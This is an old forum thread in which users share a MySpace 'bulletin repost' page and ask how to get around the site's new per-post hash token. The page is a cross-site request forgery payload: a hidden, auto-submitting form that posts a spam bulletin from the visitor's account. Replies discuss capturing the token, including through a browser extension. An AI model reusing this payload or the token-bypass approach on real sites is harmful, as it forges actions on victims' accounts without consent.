PDA

View Full Version : Grab a hash code

tylerh
11-29-2007, 02:35 AM
There's a myspace bulletin repost code, which is this

<script language="javascript" type="text/javascript">
<!--
function reDirect()
{
document.bulletinForm.submit();
}
// -->
</script>
</head>
<body onLoad="reDirect()"><center>
<form name="bulletinForm" action="http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.edit" method="POST" target="_self">
<input type="hidden" name="groupID" value="0">

<input type="hidden" name="hashcode" value="MHsGCisGAQQBgjdYA8igbTBrBgorBgEEAYI3WAMBoF0wWwIDAgABAgJmAwICAMAECMDZad0h0zS3BBBjEFtHHZcIPZ22xHDNx80P BDB/bOdbTVXoblD/iQi1aMqvh//wZuk7RhaHgFKCy/h6bH0MSkrfs7r9H1gdk0fA69k=">
<input type="hidden" name="hash" value="6308J150O169O160O160O153O168O157O162">
<div style="visibility:hidden;display:none;">
<input type="hidden" name="subject" value="read me! -.-
" size="1" maxlength="50">

<textarea name="body" type="hidden" style="width: 0px; height: 0px;"><a href="http://some-site-name.extension/save">Save the world here</a><br><a href="http://some-site-name.extension/">REPOST</a>
</textarea>
</div>


<input type="submit" value="If It Doesn't Direct You Click Here!."></form></body>


^ That code is now patched, the only way you can post a bulletin is if you have a hash code which changes after every post. Is there some way i could grab the hash code and change

<form name="bulletinForm" action="http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.edit" method="POST" target="_self">

to

<form name="bulletinForm" action="http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.edit&Hash=THE_ACCURATE_HASHCODE_HERE" method="POST" target="_self">
GO ILLINI
11-29-2007, 02:49 AM
is the hash code stored in a variable?

<?=$some_hash_code_in_this_variable;?>

Will echo that variable anywhere on the page, Including in the attributes of tags.
So pretty much:

<form name="bulletinForm" action="http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.edit&Hash=<?=$some_hash_code_in_this_variable;?>" method="POST" target="_self">


-Adam
mrnightowl
01-30-2008, 02:33 AM
I was able to get this to work using javascript in a firefox extension... that is about the only way to do cross site scripting like this on the client side. You can't do it server side as your server would need to be logged into myspace all the time. And even then the variable hash would be invalid.

oops my bad... I don't know why this post came up... I just realized how old it was...